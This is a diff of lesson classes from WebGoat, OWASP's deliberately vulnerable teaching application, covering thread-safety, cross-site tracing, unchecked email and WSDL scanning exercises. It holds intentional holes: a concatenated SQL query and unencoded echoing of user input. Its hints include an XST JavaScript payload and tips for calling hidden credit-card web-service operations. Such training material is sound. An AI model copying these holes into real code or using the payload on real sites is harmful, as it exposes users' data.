public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USER_NAME = "username"; private final static String USER_NAME = "username";
@ -58,11 +60,11 @@ public class ThreadSafetyProblem extends LessonAdapter
private String originalUser; private String originalUser;
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -90,25 +92,20 @@ public class ThreadSafetyProblem extends LessonAdapter
Thread.sleep(1500); Thread.sleep(1500);
// Get the users info from the DB // Get the users info from the DB
String query = "SELECT * FROM user_system_data WHERE user_name = '" String query = "SELECT * FROM user_system_data WHERE user_name = '" + currentUser + "'";
+ currentUser + "'"; Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) if ((results != null) && (results.first() == true))
{ {
ec.addElement("Account information for user: " ec.addElement("Account information for user: " + originalUser + "<br><br>");
+ originalUser + "<br><br>");
ResultSetMetaData resultsMetaData = results.getMetaData(); ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
resultsMetaData));
} }
else else
{ {
s.setMessage("'" + currentUser s.setMessage("'" + currentUser + "' is not a user in the WebGoat database.");
+ "' is not a user in the WebGoat database.");
} }
} }
if (!user1.equals(currentUser)) if (!user1.equals(currentUser))
@ -116,8 +113,7 @@ public class ThreadSafetyProblem extends LessonAdapter
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -126,7 +122,6 @@ public class ThreadSafetyProblem extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the ConcurrencyScreen object * Gets the hints attribute of the ConcurrencyScreen object
* *
@ -135,18 +130,14 @@ public class ThreadSafetyProblem extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("Web applications handle many HTTP requests at the same time.");
.add("Web applications handle many HTTP requests at the same time.");
hints.add("Developers use variables that are not thread safe."); hints.add("Developers use variables that are not thread safe.");
hints hints.add("Show the Java source code and trace the 'currentUser' variable");
.add("Show the Java source code and trace the 'currentUser' variable"); hints.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
hints
.add("Open two browsers and send 'jeff' in one and 'dave' in the other.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the ThreadSafetyProblem object * Gets the instructions attribute of the ThreadSafetyProblem object
* *
@ -158,27 +149,23 @@ public class ThreadSafetyProblem extends LessonAdapter
String instructions = "The user should be able to exploit the concurrency error in this web application " String instructions = "The user should be able to exploit the concurrency error in this web application "
+ "and view login information for another user that is attempting the same function " + "and view login information for another user that is attempting the same function "
+ "at the same time. <b>This will require the use of two browsers</b>. Valid user " + "at the same time. <b>This will require the use of two browsers</b>. Valid user "
+ "names are 'jeff' and 'dave'." + "names are 'jeff' and 'dave'." + "<p>Please enter your username to access your account.";
+ "<p>Please enter your username to access your account.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(80); private final static Integer DEFAULT_RANKING = new Integer(80);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.CONCURRENCY; return Category.CONCURRENCY;
} }
/** /**
* Gets the title attribute of the ConcurrencyScreen object * Gets the title attribute of the ConcurrencyScreen object
* *
@ -189,19 +176,18 @@ public class ThreadSafetyProblem extends LessonAdapter
return ("Thread Safety Problems"); return ("Thread Safety Problems");
} }
/** /**
* Constructor for the ConcurrencyScreen object * Constructor for the ConcurrencyScreen object
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
super.handleRequest(s); super.handleRequest(s);
} } catch (Exception e)
catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);

133
main/project/JavaSource/org/owasp/webgoat/lessons/TraceXSS.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
@ -19,32 +19,31 @@ import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder; import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -58,7 +57,8 @@ public class TraceXSS extends LessonAdapter
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
@ -72,8 +72,7 @@ public class TraceXSS extends LessonAdapter
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "111"); String param1 = s.getParser().getRawParameter("field1", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
"field2", "4128 3214 0002 1999"));
float quantity = 1.0f; float quantity = 1.0f;
float total = 0.0f; float total = 0.0f;
float runningTotal = 0.0f; float runningTotal = 0.0f;
@ -81,25 +80,19 @@ public class TraceXSS extends LessonAdapter
// test input field1 // test input field1
if (!pattern1.matcher(param1).matches()) if (!pattern1.matcher(param1).matches())
{ {
if (param1.toLowerCase().indexOf("script") != -1 if (param1.toLowerCase().indexOf("script") != -1 && param1.toLowerCase().indexOf("trace") != -1)
&& param1.toLowerCase().indexOf("trace") != -1)
{ {
makeSuccess(s); makeSuccess(s);
} }
s s.setMessage("Whoops! You entered " + param1 + " instead of your three digit code. Please try again.");
.setMessage("Whoops! You entered "
+ param1
+ " instead of your three digit code. Please try again.");
} }
// FIXME: encode output of field2, then s.setMessage( field2 ); // FIXME: encode output of field2, then s.setMessage( field2 );
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1() ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
.addElement("Shopping Cart "))); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
Table t = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -107,21 +100,18 @@ public class TraceXSS extends LessonAdapter
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement( tr.addElement(new TH().addElement("Shopping Cart Items -- To Buy Now").setWidth("80%"));
"Shopping Cart Items -- To Buy Now").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%")); tr.addElement(new TH().addElement("Price").setWidth("10%"));
tr.addElement(new TH().addElement("Quantity").setWidth("3%")); tr.addElement(new TH().addElement("Quantity").setWidth("3%"));
tr.addElement(new TH().addElement("Total").setWidth("7%")); tr.addElement(new TH().addElement("Total").setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
.addElement(new TD()
.addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right")); tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser() new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
.getStringParameter("QTY1", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 1.0f); quantity = s.getParser().getFloatParameter("QTY1", 1.0f);
total = quantity * 69.99f; total = quantity * 69.99f;
@ -129,12 +119,11 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
.addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right")); tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser() new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
.getStringParameter("QTY2", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 1.0f); quantity = s.getParser().getFloatParameter("QTY2", 1.0f);
total = quantity * 27.99f; total = quantity * 27.99f;
@ -142,13 +131,11 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
.addElement(new TD()
.addElement("Hewlett-Packard - Pavilion Notebook with Intel<65> Centrino<6E>"));
tr.addElement(new TD().addElement("1599.99").setAlign("right")); tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser() new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
.getStringParameter("QTY3", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 1.0f); quantity = s.getParser().getFloatParameter("QTY3", 1.0f);
total = quantity * 1599.99f; total = quantity * 1599.99f;
@ -156,14 +143,12 @@ public class TraceXSS extends LessonAdapter
tr.addElement(new TD().addElement("$" + total)); tr.addElement(new TD().addElement("$" + total));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
.addElement(new TD()
.addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right")); tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement( tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser() new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
.getStringParameter("QTY4", "1"))) "1")))
.setAlign("right")); .setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 1.0f); quantity = s.getParser().getFloatParameter("QTY4", 1.0f);
total = quantity * 299.99f; total = quantity * 299.99f;
@ -173,8 +158,7 @@ public class TraceXSS extends LessonAdapter
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
@ -184,40 +168,31 @@ public class TraceXSS extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("The total charged to your credit card:"));
.addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal)); tr.addElement(new TD().addElement("$" + runningTotal));
tr.addElement(new TD().addElement(ECSFactory tr.addElement(new TD().addElement(ECSFactory.makeButton("Update Cart")));
.makeButton("Update Cart")));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr tr.addElement(new TD().addElement("Enter your credit card number:"));
.addElement(new TD() tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2", param2)));
.addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field2",
param2)));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD() tr.addElement(new TD().addElement("Enter your three digit access code:"));
.addElement("Enter your three digit access code:")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1", param1)));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",
param1)));
t.addElement(tr); t.addElement(tr);
Element b = ECSFactory.makeButton("Purchase"); Element b = ECSFactory.makeButton("Purchase");
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign( tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
"center"));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%")); ec.addElement(new HR().setWidth("90%"));
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -225,7 +200,6 @@ public class TraceXSS extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
@ -236,7 +210,6 @@ public class TraceXSS extends LessonAdapter
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
@ -245,14 +218,11 @@ public class TraceXSS extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("Most web servers support GET/POST. Many default installations also support TRACE");
.add("Most web servers support GET/POST. Many default installations also support TRACE"); hints.add("JavaScript has the ability to post a URL:<br>"
hints
.add("JavaScript has the ability to post a URL:<br>"
+ "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)" + "&lt;script type=\"text/javascript\"&gt;if ( navigator.appName.indexOf(\"Microsoft\") !=-1)"
+ " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);" + " {var xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");xmlHttp.open(\"GET\", \"./\", false);"
+ " xmlHttp.send();str1=xmlHttp.responseText; " + " xmlHttp.send();str1=xmlHttp.responseText; " + "document.write(str1);&lt;/script&gt;");
+ "document.write(str1);&lt;/script&gt;");
hints.add("Try changing the HTTP GET to a HTTP TRACE"); hints.add("Try changing the HTTP GET to a HTTP TRACE");
hints hints
.add("Try a cross site trace (XST) Command:<br>" .add("Try a cross site trace (XST) Command:<br>"
@ -263,17 +233,18 @@ public class TraceXSS extends LessonAdapter
return hints; return hints;
} }
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script> // <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
private final static Integer DEFAULT_RANKING = new Integer(130); private final static Integer DEFAULT_RANKING = new Integer(130);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *

46
main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java
View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.text.Format; import java.text.Format;
@ -7,7 +8,6 @@ import java.util.Arrays;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.Properties; import java.util.Properties;
import javax.mail.Message; import javax.mail.Message;
import javax.mail.MessagingException; import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication; import javax.mail.PasswordAuthentication;
@ -15,7 +15,6 @@ import javax.mail.Session;
import javax.mail.Transport; import javax.mail.Transport;
import javax.mail.internet.InternetAddress; import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMessage;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -34,32 +33,31 @@ import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -121,7 +119,8 @@ public class UncheckedEmail extends LessonAdapter
{ {
Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass); Message sentMessage = sendGoogleMail(to, subject, message, emailFromAddress, gId, gPass);
formatMail(ec, sentMessage); formatMail(ec, sentMessage);
} else }
else
{ {
sendSimulatedMail(ec, to, subject, message); sendSimulatedMail(ec, to, subject, message);
} }
@ -132,8 +131,7 @@ public class UncheckedEmail extends LessonAdapter
{ {
makeSuccess(s); makeSuccess(s);
} }
} } catch (Exception e)
catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
@ -164,8 +162,7 @@ public class UncheckedEmail extends LessonAdapter
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(sentMessage.getContent().toString())); ec.addElement(new StringElement(sentMessage.getContent().toString()));
} } catch (Exception e)
catch (Exception e)
{ {
// TODO Auto-generated catch block // TODO Auto-generated catch block
ec.addElement(new StringElement("Fatal error while sending message")); ec.addElement(new StringElement("Fatal error while sending message"));
@ -402,8 +399,7 @@ public class UncheckedEmail extends LessonAdapter
*/ */
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = String instructions = "This form is an example of a customer support page. Using the form below try to:<br>"
"This form is an example of a customer support page. Using the form below try to:<br>"
+ "1) Send a malicious script to the website admin.<br>" + "1) Send a malicious script to the website admin.<br>"
+ "2) Send a malicious script to a 'friend' from OWASP.<br>"; + "2) Send a malicious script to a 'friend' from OWASP.<br>";
return (instructions); return (instructions);

158
main/project/JavaSource/org/owasp/webgoat/lessons/WSDLScanning.java
View File

@ -1,9 +1,8 @@
/* /*
* Created on May 26, 2005 * Created on May 26, 2005 TODO To change the template for this generated file go to Window -
* * Preferences - Java - Code Style - Code Templates
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/ */
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.rmi.RemoteException; import java.rmi.RemoteException;
@ -13,11 +12,9 @@ import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import javax.xml.namespace.QName; import javax.xml.namespace.QName;
import javax.xml.rpc.ParameterMode; import javax.xml.rpc.ParameterMode;
import javax.xml.rpc.ServiceException; import javax.xml.rpc.ServiceException;
import org.apache.axis.client.Call; import org.apache.axis.client.Call;
import org.apache.axis.client.Service; import org.apache.axis.client.Service;
import org.apache.axis.encoding.XMLType; import org.apache.axis.encoding.XMLType;
@ -33,45 +30,43 @@ import org.apache.ecs.html.Select;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext; import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author asmolen * @author asmolen
* *
* TODO To change the template for this generated type comment go to * TODO To change the template for this generated type comment go to Window - Preferences - Java -
* Window - Preferences - Java - Code Style - Code Templates * Code Style - Code Templates
*/ */
public class WSDLScanning extends LessonAdapter public class WSDLScanning extends LessonAdapter
{ {
@ -88,25 +83,27 @@ public class WSDLScanning extends LessonAdapter
public final static String ccNumber = "getCreditCard"; public final static String ccNumber = "getCreditCard";
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg") final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg").setAlt("Parasoft").setBorder(0).setHspace(0)
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0); .setVspace(0);
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class * We maintain a static reference to WebgoatContext, since this class is also automatically
* is also automatically instantiated by the Axis web services module, * instantiated by the Axis web services module, which does not call setWebgoatContext()
* which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
*
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) { public void setWebgoatContext(WebgoatContext webgoatContext)
{
WSDLScanning.webgoatContext = webgoatContext; WSDLScanning.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() { public WebgoatContext getWebgoatContext()
{
return WSDLScanning.webgoatContext; return WSDLScanning.webgoatContext;
} }
@ -115,40 +112,31 @@ public class WSDLScanning extends LessonAdapter
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints.add("Try connecting to the WSDL with a browser or Web Service tool.");
.add("Try connecting to the WSDL with a browser or Web Service tool."); hints.add("Sometimes the WSDL will define methods that are not available through a web API. "
hints
.add("Sometimes the WSDL will define methods that are not available through a web API. "
+ "Try to find operations that are in the WSDL, but not part of this API"); + "Try to find operations that are in the WSDL, but not part of this API");
hints hints.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
.add("The URL for the web service is: http://localost/WebGoat/services/WSDLScanning <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request."); + "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints hints.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
.add("Look in the WSDL for the getCreditCard operation and insert the field in an intercepted request.");
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
public String getTitle() public String getTitle()
{ {
return "WSDL Scanning"; return "WSDL Scanning";
} }
public Object accessWGService(String serv, int port, String proc, String parameterName, Object parameterValue)
public Object accessWGService(String serv, int port, String proc,
String parameterName, Object parameterValue)
{ {
String targetNamespace = "WebGoat"; String targetNamespace = "WebGoat";
try try
@ -162,27 +150,22 @@ public class WSDLScanning extends LessonAdapter
call.setReturnType(XMLType.XSD_STRING); call.setReturnType(XMLType.XSD_STRING);
call.setUsername("guest"); call.setUsername("guest");
call.setPassword("guest"); call.setPassword("guest");
call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/" call.setTargetEndpointAddress("http://localhost:" + port + "/WebGoat/services/" + serv);
+ serv);
Object result = call.invoke(new Object[] { parameterValue }); Object result = call.invoke(new Object[] { parameterValue });
return result; return result;
} } catch (RemoteException e)
catch (RemoteException e)
{ {
e.printStackTrace(); e.printStackTrace();
} } catch (ServiceException e)
catch (ServiceException e)
{ {
e.printStackTrace(); e.printStackTrace();
